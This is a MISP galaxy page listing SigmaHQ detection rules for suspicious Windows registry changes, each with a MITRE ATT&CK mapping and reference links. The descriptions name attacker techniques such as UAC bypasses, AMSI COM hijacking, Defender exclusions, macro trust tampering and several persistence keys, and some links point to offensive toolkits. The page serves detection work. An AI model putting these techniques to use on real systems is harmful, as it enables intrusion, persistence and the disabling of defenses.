The tag is: *misp-galaxy:sigma-rules="New BgInfo.EXE Custom WMI Query Registry Configuration"*

View relationships graph

New BgInfo.EXE Custom WMI Query Registry Configuration has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14483. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bginfo_custom_wmi_query.yml

Trust Access Disable For VBApplications

Detects registry changes to Microsoft Office "AccessVBOM" to a value of "1" which disables trust

access for VBA on the victim machine and lets attackers execute malicious macros without any Microsoft Office warnings.

The tag is: *misp-galaxy:sigma-rules="Trust Access Disable For VBApplications"*

View relationships graph

Trust Access Disable For VBApplications has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14484. Table References

Links
https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/zloader-with-a-new-infection-technique/
https://twitter.com/inversecos/status/1494174785621819397
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_access_vbom_tamper.yml

Potential Registry Persistence Attempt Via Windows Telemetry

Detects potential persistence behavior using the windows telemetry registry key. Windows telemetry makes use of the binary CompatTelRunner.exe to run a variety of commands and perform the actual telemetry collections. This binary was created to be easily extensible, and to that end, it relies on the registry to instruct on which commands to run. The problem is, it will run any arbitrary command without restriction of location or type.

The tag is: *misp-galaxy:sigma-rules="Potential Registry Persistence Attempt Via Windows Telemetry"*

View relationships graph

Potential Registry Persistence Attempt Via Windows Telemetry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

Table 14485. Table References

Links
https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_telemetry_persistence.yml

Potential Persistence Via App Paths Default Property

Detects changes to the "Default" property for keys located in the \Software\Microsoft\Windows\CurrentVersion\App Paths\ registry. Which might be used as a method of persistence The entries found under App Paths are used primarily for the following purposes. First, to map an application's executable file name to that file's fully qualified path. Second, to prepend information to the PATH environment variable on a per-application, per-process basis.

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Via App Paths Default Property"*

View relationships graph

Potential Persistence Via App Paths Default Property has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Image File Execution Options Injection - T1546.012" with estimative-language:likelihood-probability="almost-certain"

Table 14486. Table References

Links
https://www.hexacorn.com/blog/2013/01/19/beyond-good-ol-run-key-part-3/
https://learn.microsoft.com/en-us/windows/win32/shell/app-registration
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_app_paths.yml

RDP Sensitive Settings Changed to Zero

Detects tampering of RDP Terminal Service/Server sensitive settings. Such as allowing unauthorized users access to a system via the 'fAllowUnsolicited' or enabling RDP via 'fDenyTSConnections', etc.

The tag is: *misp-galaxy:sigma-rules="RDP Sensitive Settings Changed to Zero"*

View relationships graph

RDP Sensitive Settings Changed to Zero has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14487. Table References

Links
http://etutorials.org/Microsoft+Products/microsoft+windows+server+2003+terminal+services/Chapter+6+Registry/Registry+Keys+for+Terminal+Services/
https://admx.help/HKLM/SOFTWARE/Policies/Microsoft/Windows%20NT/Terminal%20Services
https://twitter.com/SagieSec/status/1469001618863624194?t=HRf0eA0W1YYzkTSHb-Ky1A&s=03

https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/
http://woshub.com/rds-shadow-how-to-connect-to-a-user-session-in-windows-server-2012-r2/
https://threathunterplaybook.com/hunts/windows/190407-RegModEnableRDPConnections/notebook.html
https://web.archive.org/web/20200929062532/https://blog.menasec.net/2019/02/threat-hunting-rdp-hijacking-via.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_terminal_server_suspicious.yml

Macro Enabled In A Potentially Suspicious Document

Detects registry changes to Office trust records where the path is located in a potentially suspicious location

The tag is: *misp-galaxy:sigma-rules="Macro Enabled In A Potentially Suspicious Document"*

View relationships graph

Macro Enabled In A Potentially Suspicious Document has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14488. Table References

Links
https://twitter.com/inversecos/status/1494174785621819397
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_trust_record_susp_location.yml

Bypass UAC Using Event Viewer

Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification

The tag is: *misp-galaxy:sigma-rules="Bypass UAC Using Event Viewer"*

View relationships graph

Bypass UAC Using Event Viewer has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Port Monitors - T1547.010" with estimative-language:likelihood-probability="almost-certain"

Table 14489. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-1---bypass-uac-using-event-viewer-cmd
https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bypass_uac_using_eventviewer.yml

Potential Persistence Via Mpnotify

Detects when an attacker register a new SIP provider for persistence and defense evasion

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Via Mpnotify"*

Table 14490. Table References

Links
https://www.youtube.com/watch?v=ggY3srD9dYs&ab_channel=GrzegorzTworek
https://persistence-info.github.io/Data/mpnotify.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_mpnotify.yml

Potentially Suspicious ODBC Driver Registered

Detects the registration of a new ODBC driver where the driver is located in a potentially suspicious location

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious ODBC Driver Registered"*

View relationships graph

Potentially Suspicious ODBC Driver Registered has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 14491. Table References

Links
https://www.hexacorn.com/blog/2020/08/23/odbcconf-lolbin-trifecta/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_odbc_driver_registered_susp.yml

Potential Persistence Via Visual Studio Tools for Office

Detects persistence via Visual Studio Tools for Office (VSTO) add-ins in Office applications.

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Via Visual Studio Tools for Office"*

View relationships graph

Potential Persistence Via Visual Studio Tools for Office has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Add-ins - T1137.006" with estimative-language:likelihood-probability="almost-certain"

Table 14492. Table References

Links
https://twitter.com/_vivami/status/1347925307643355138
https://vanmieghem.io/stealth-outlook-persistence/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_office_vsto.yml

Driver Added To Disallowed Images In HVCI - Registry

Detects changes to the "HVCIDisallowedImages" registry value to potentially add a driver to the list, in order to prevent it from loading.

The tag is: *misp-galaxy:sigma-rules="Driver Added To Disallowed Images In HVCI - Registry"*

Table 14493. Table References

Links
https://x.com/yarden_shafir/status/1822667605175324787
https://github.com/yardenshafir/conference_talks/blob/3de1f5d7c02656c35117f067fbff0a219c304b09/OffensiveCon_2023_Your_Mitigations_are_My_Opportunities.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hvci_disallowed_images.yml

Uncommon Microsoft Office Trusted Location Added

Detects changes to registry keys related to "Trusted Location" of Microsoft Office where the path is set to something uncommon. Attackers might add additional trusted locations to avoid macro security restrictions.

The tag is: *misp-galaxy:sigma-rules="Uncommon Microsoft Office Trusted Location Added"*

View relationships graph

Uncommon Microsoft Office Trusted Location Added has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14494. Table References

Links
https://admx.help/?Category=Office2016&Policy=excel16.Office.Microsoft.Policies.Windows::L_TrustedLoc01
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_trusted_location_uncommon.yml

Modify User Shell Folders Startup Value

Detect modification of the User Shell Folders registry values for Startup or Common Startup which could indicate persistence attempts. Attackers may modify User Shell Folders registry keys to point to malicious executables or scripts that will be executed during startup. This technique is often used to maintain persistence on a compromised system by ensuring that the malicious payload is executed automatically.

The tag is: *misp-galaxy:sigma-rules="Modify User Shell Folders Startup Value"*

View relationships graph

Modify User Shell Folders Startup Value has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 14495. Table References

Links
https://www.welivesecurity.com/en/eset-research/muddywater-snakes-riverbank/
https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1547.001/T1547.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_user_shell_folders.yml

Disable Administrative Share Creation at Startup

Administrative shares are hidden network shares created by Microsoft Windows NT operating systems that grant system administrators remote access to every disk volume on a network-connected system

The tag is: *misp-galaxy:sigma-rules="Disable Administrative Share Creation at Startup"*

View relationships graph

Disable Administrative Share Creation at Startup has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Share Connection Removal - T1070.005"

with estimative-language:likelihood-probability="almost-certain"

Table 14496. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.005/T1070.005.md#atomic-test-4---disable-administrative-share-creation-at-startup
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_administrative_share.yml

MaxMpxCt Registry Value Changed

Detects changes to the "MaxMpxCt" registry value. MaxMpxCt specifies the maximum outstanding network requests for the server per client, which is used when negotiating a Server Message Block (SMB) connection with a client. Note if the value is set beyond 125 older Windows 9x clients will fail to negotiate. Ransomware threat actors and operators (specifically BlackCat) were seen increasing this value in order to handle a higher volume of traffic.

The tag is: *misp-galaxy:sigma-rules="MaxMpxCt Registry Value Changed"*

View relationships graph

MaxMpxCt Registry Value Changed has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Share Connection Removal - T1070.005" with estimative-language:likelihood-probability="almost-certain"

Table 14497. Table References

Links
https://www.huntress.com/blog/blackcat-ransomware-affiliate-ttps
https://securityscorecard.com/research/deep-dive-into-alphv-blackcat-ransomware
https://www.intrinsec.com/alphv-ransomware-gang-analysis/?cn-reloaded=1
https://www.sentinelone.com/labs/blackcat-ransomware-highly-configurable-rust-driven-raas-on-the-prowl-for-victims/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_optimize_file_sharing_network.yml

New ODBC Driver Registered

Detects the registration of a new ODBC driver.

The tag is: *misp-galaxy:sigma-rules="New ODBC Driver Registered"*

Table 14498. Table References

Links
https://www.hexacorn.com/blog/2020/08/23/odbcconf-lolbin-trifecta/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_odbc_driver_registered.yml

Wow6432Node Classes Autorun Keys Modification

Detects modification of autostart extensibility point (ASEP) in registry.

The tag is: *misp-galaxy:sigma-rules="Wow6432Node Classes Autorun Keys Modification"*

View relationships graph

Wow6432Node Classes Autorun Keys Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 14499. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md
https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d
https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_wow6432node_classes.yml

Uncommon Extension In Keyboard Layout IME File Registry Value

Detects usage of Windows Input Method Editor (IME) keyboard layout feature, which allows an attacker to load a DLL into the process after sending the WM_INPUTLANGCHANGEREQUEST message. Before doing this, the client needs to register the DLL in a special registry key that is assumed to implement this keyboard layout. This registry key should store a value named "Ime File" with a DLL path. IMEs are essential for languages that have more characters than can be represented on a standard keyboard, such as Chinese, Japanese, and Korean.

The tag is: *misp-galaxy:sigma-rules="Uncommon Extension In Keyboard Layout IME File Registry Value"*

View relationships graph

Uncommon Extension In Keyboard Layout IME File Registry Value has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with

estimative-language:likelihood-probability="almost-certain"

Table 14500. Table References

Links
https://www.linkedin.com/pulse/guntior-story-advanced-bootkit-doesnt-rely-windows-disk-baranov-wue8e/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_ime_non_default_extension.yml

Persistence Via New SIP Provider

Detects when an attacker register a new SIP provider for persistence and defense evasion

The tag is: *misp-galaxy:sigma-rules="Persistence Via New SIP Provider"*

View relationships graph

Persistence Via New SIP Provider has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="SIP and Trust Provider Hijacking - T1553.003" with estimative-language:likelihood-probability="almost-certain"

Table 14501. Table References

Links
https://github.com/gtworek/PSBits/tree/master/SIP
https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf
https://persistence-info.github.io/Data/codesigning.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_sip_persistence.yml

Potential COM Object Hijacking Via TreatAs Subkey - Registry

Detects COM object hijacking via TreatAs subkey

The tag is: *misp-galaxy:sigma-rules="Potential COM Object Hijacking Via TreatAs Subkey - Registry"*

View relationships graph

Potential COM Object Hijacking Via TreatAs Subkey - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1546.015" with estimative-language:likelihood-probability="almost-certain"

Table 14502. Table References

Links
https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_com_key_linking.yml

Potential Persistence Via AutodialDLL

Detects change the the "AutodialDLL" key which could be used as a persistence method to load custom DLL via the "ws2_32" library

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Via AutodialDLL"*

Table 14503. Table References

Links
https://persistence-info.github.io/Data/autodialdll.html
https://www.hexacorn.com/blog/2015/01/13/beyond-good-ol-run-key-part-24/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_autodial_dll.yml

Custom File Open Handler Executes PowerShell

Detects the abuse of custom file open handler, executing powershell

The tag is: *misp-galaxy:sigma-rules="Custom File Open Handler Executes PowerShell"*

View relationships graph

Custom File Open Handler Executes PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 14504. Table References

Links
https://news.sophos.com/en-us/2022/02/01/solarmarker-campaign-used-novel-registry-changes-to-establish-persistence/?cmp=30728
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_custom_file_open_handler_powershell_execution.yml

ClickOnce Trust Prompt Tampering

Detects changes to the ClickOnce trust prompt registry key in order to enable an installation from different locations such as the Internet.

The tag is: *misp-galaxy:sigma-rules="ClickOnce Trust Prompt Tampering"*

View relationships graph

ClickOnce Trust Prompt Tampering has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14505. Table References

Links
https://posts.specterops.io/less-smartscreen-more-caffeine-ab-using-clickonce-for-trusted-code-execution-1446ea8051c5
https://learn.microsoft.com/en-us/visualstudio/deployment/how-to-configure-the-clickonce-trust-prompt-behavior
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_clickonce_trust_prompt.yml

Windows Recall Feature Enabled - Registry

Detects the enabling of the Windows Recall feature via registry manipulation. Windows Recall can be enabled by setting the value of "DisableAIDataAnalysis" to "0". Adversaries may enable Windows Recall as part of post-exploitation discovery and collection activities. This rule assumes that Recall is already explicitly disabled on the host, and subsequently enabled by the adversary.

The tag is: *misp-galaxy:sigma-rules="Windows Recall Feature Enabled - Registry"*

View relationships graph

Windows Recall Feature Enabled - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

Table 14506. Table References

Links
https://learn.microsoft.com/en-us/windows/client-management/mdm/policy-csp-windowsai#disableaidataanalysis
https://learn.microsoft.com/en-us/windows/client-management/manage-recall
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_enable_windows_recall.yml

COM Hijack via Sdclt

Detects changes to 'HKCU\Software\Classes\Folder\shell\open\command\DelegateExecute'

The tag is: *misp-galaxy:sigma-rules="COM Hijack via Sdclt"*

View relationships graph

COM Hijack via Sdclt has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Event Triggered Execution - T1546" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"

Table 14507. Table References

Links
https://www.exploit-db.com/exploits/47696
http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_comhijack_sdclt.yml

Service Binary in Suspicious Folder

Detect the creation of a service with a service binary located in a suspicious directory

The tag is: *misp-galaxy:sigma-rules="Service Binary in Suspicious Folder"*

View relationships graph

Service Binary in Suspicious Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14508. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_creation_service_susp_folder.yml

Suspicious Printer Driver Empty Manufacturer

Detects a suspicious printer driver installation with an empty Manufacturer value

The tag is: *misp-galaxy:sigma-rules="Suspicious Printer Driver Empty Manufacturer"*

View relationships graph

Suspicious Printer Driver Empty Manufacturer has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Hijack Execution Flow - T1574" with estimative-language:likelihood-probability="almost-certain"

Table 14509. Table References

Links
https://twitter.com/SBousseaden/status/1410545674773467140
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_printer_driver.yml

Potential PowerShell Execution Policy Tampering

Detects changes to the PowerShell execution policy in order to bypass signing requirements for script execution

The tag is: *misp-galaxy:sigma-rules="Potential PowerShell Execution Policy Tampering"*

Table 14510. Table References

Links
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.3
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_execution_policy.yml

UAC Bypass via Sdclt

Detects the pattern of UAC Bypass using registry key manipulation of sdclt.exe (e.g. UACMe 53)

The tag is: *misp-galaxy:sigma-rules="UAC Bypass via Sdclt"*

View relationships graph

UAC Bypass via Sdclt has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 14511. Table References

Links
https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/
https://github.com/hfiref0x/UACME
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_sdclt.yml

New RUN Key Pointing to Suspicious Folder

Detects suspicious new RUN key element pointing to an executable in a suspicious folder

The tag is: *misp-galaxy:sigma-rules="New RUN Key Pointing to Suspicious Folder"*

View relationships graph

New RUN Key Pointing to Suspicious Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 14512. Table References

Links
https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html
https://github.com/HackTricks-wiki/hacktricks/blob/e4c7b21b8f36c97c35b7c622732b38a189ce18f7/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_run_key_img_folder.yml

Potential AMSI COM Server Hijacking

Detects changes to the AMSI come server registry key in order disable AMSI scanning functionalities. When AMSI attempts to starts its COM component, it will query its registered CLSID and return a non-existent COM server. This causes a load failure and prevents any scanning methods from being accessed, ultimately rendering AMSI useless

The tag is: *misp-galaxy:sigma-rules="Potential AMSI COM Server Hijacking"*

View relationships graph

Potential AMSI COM Server Hijacking has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 14513. Table References

Links
https://github.com/r00t-3xp10it/hacking-material-books/blob/43cb1e1932c16ff1f58b755bc9ab6b096046853f/obfuscation/simple_obfuscation.md#amsi-comreg-bypass
https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_amsi_com_hijack.yml

Windows Defender Exclusions Added - Registry

Detects the Setting of Windows Defender Exclusions

The tag is: *misp-galaxy:sigma-rules="Windows Defender Exclusions Added - Registry"*

View relationships graph

Windows Defender Exclusions Added - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 14514. Table References

Links
https://twitter.com/_nullbind/status/1204923340810543109
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_defender_exclusions.yml

Potential Persistence Via Outlook Home Page

Detects potential persistence activity via outlook home page. An attacker can set a home page to achieve code execution and persistence by editing the WebView registry keys.

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Via Outlook Home Page"*

View relationships graph

Potential Persistence Via Outlook Home Page has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14515. Table References

Links
https://trustedsec.com/blog/specula-turning-outlook-into-a-c2-with-one-registry-change
https://support.microsoft.com/en-us/topic/outlook-home-page-feature-is-missing-in-folder-properties-d207edb7-aa02-46c5-b608-5d9dbed9bd04?ui=en-us&rs=en-us&ad=us
https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=70
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_outlook_homepage.yml

ETW Logging Disabled For rpcrt4.dll

Detects changes to the "ExtErrorInformation" key in order to disable ETW logging for rpcrt4.dll

The tag is: *misp-galaxy:sigma-rules="ETW Logging Disabled For rpcrt4.dll"*

View relationships graph

ETW Logging Disabled For rpcrt4.dll has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"

Table 14516. Table References

Links
http://redplait.blogspot.com/2020/07/whats-wrong-with-etw.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_rpcrt4_etw_tamper.yml

UAC Bypass Using Windows Media Player - Registry

Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)

The tag is: *misp-galaxy:sigma-rules="UAC Bypass Using Windows Media Player - Registry"*

View relationships graph

UAC Bypass Using Windows Media Player - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 14517. Table References

Links
https://github.com/hfiref0x/UACME
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_wmp.yml

Potential Persistence Using DebugPath

Detects potential persistence using Appx DebugPath

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Using DebugPath"*

View relationships graph

Potential Persistence Using DebugPath has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1546.015" with estimative-language:likelihood-probability="almost-certain"

Table 14518. Table References

Links
https://oddvar.moe/2018/09/06/persistence-using-universal-windows-platform-apps-appx/
https://github.com/rootm0s/WinPwnage
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_appx_debugger.yml

Windows Defender Service Disabled - Registry

Detects when an attacker or tool disables the Windows Defender service (WinDefend) via the registry

The tag is: *misp-galaxy:sigma-rules="Windows Defender Service Disabled - Registry"*

View relationships graph

Windows Defender Service Disabled - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 14519. Table References

Links
https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/
https://gist.github.com/anadr/7465a9fde63d41341136949f14c21105
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_windows_defender_service.yml

PowerShell Script Execution Policy Enabled

Detects the enabling of the PowerShell script execution policy. Once enabled, this policy allows scripts to be executed.

The tag is: *misp-galaxy:sigma-rules="PowerShell Script Execution Policy Enabled"*

Table 14520. Table References

Links
https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.PowerShell::EnableScripts

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_enablescripts_enabled.yml

UAC Notification Disabled

Detects when an attacker tries to disable User Account Control (UAC) notification by tampering with the "UACDisableNotify" value. UAC is a critical security feature in Windows that prevents unauthorized changes to the operating system. It prompts the user for permission or an administrator password before allowing actions that could affect the system's operation or change settings that affect other users. When "UACDisableNotify" is set to 1, UAC prompts are suppressed.

The tag is: *misp-galaxy:sigma-rules="UAC Notification Disabled"*

View relationships graph

UAC Notification Disabled has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 14521. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/7e11e9b79583545f208a6dc3fa062f2ed443d999/atomics/T1548.002/T1548.002.md
https://securityintelligence.com/x-force/x-force-hive0129-targeting-financial-institutions-latam-banking-trojan/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_disable_notification.yml

Add DisallowRun Execution to Registry

Detect set DisallowRun to 1 to prevent user running specific computer program

The tag is: *misp-galaxy:sigma-rules="Add DisallowRun Execution to Registry"*

View relationships graph

Add DisallowRun Execution to Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14522. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disallowrun_execution.yml

Disable Macro Runtime Scan Scope

Detects tampering with the MacroRuntimeScanScope registry key to disable runtime scanning of enabled macros

The tag is: *misp-galaxy:sigma-rules="Disable Macro Runtime Scan Scope"*

Table 14523. Table References

Links
https://github.com/S3cur3Th1sSh1t/OffensiveVBA/blob/28cc6a2802d8176195ac19b3c8e9a749009a82a3/src/AMSIbypasses.vba
https://admx.help/?Category=Office2016&Policy=office16.Office.Microsoft.Policies.Windows::L_MacroRuntimeScanScope
https://www.microsoft.com/en-us/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_macroruntimescanscope.yml

Potential ClickFix Execution Pattern - Registry

Detects potential ClickFix malware execution patterns by monitoring registry modifications in RunMRU keys containing HTTP/HTTPS links. ClickFix is known to be distributed through phishing campaigns and uses techniques like clipboard hijacking and fake CAPTCHA pages. Through the fakecaptcha pages, the adversary tricks users into opening the Run dialog box and pasting clipboard-hijacked content, such as one-liners that execute remotely hosted malicious files or scripts.

The tag is: *misp-galaxy:sigma-rules="Potential ClickFix Execution Pattern - Registry"*

View relationships graph

Potential ClickFix Execution Pattern - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

Table 14524. Table References

Links
https://www.scpx.com.au/2025/11/16/decades-old-finger-protocol-abused-in-clickfix-malware-attacks/
https://medium.com/@boutnaru/the-windows-foreniscs-journey-run-mru-run-dialog-box-most-recently-used-57375a02d724

https://www.esentire.com/security-advisories/netsupport-rat-clickfix-distribution
https://unit42.paloaltonetworks.com/preventing-clickfix-attack-vector/
https://www.zscaler.com/blogs/security-research/deepseek-lure-using-captchas-spread-malware
https://app.any.run/tasks/5c16b4db-4b36-4039-a0ed-9b09abff8be2
https://www.threatdown.com/blog/clipboard-hijacker-tries-to-install-a-trojan/
https://github.com/JohnHammond/recaptcha-phish
https://medium.com/@poudelswachchhanda123/preventing-lnk-and-fakecaptcha-threats-a-system-hardening-approach-2f7b7ed2e493
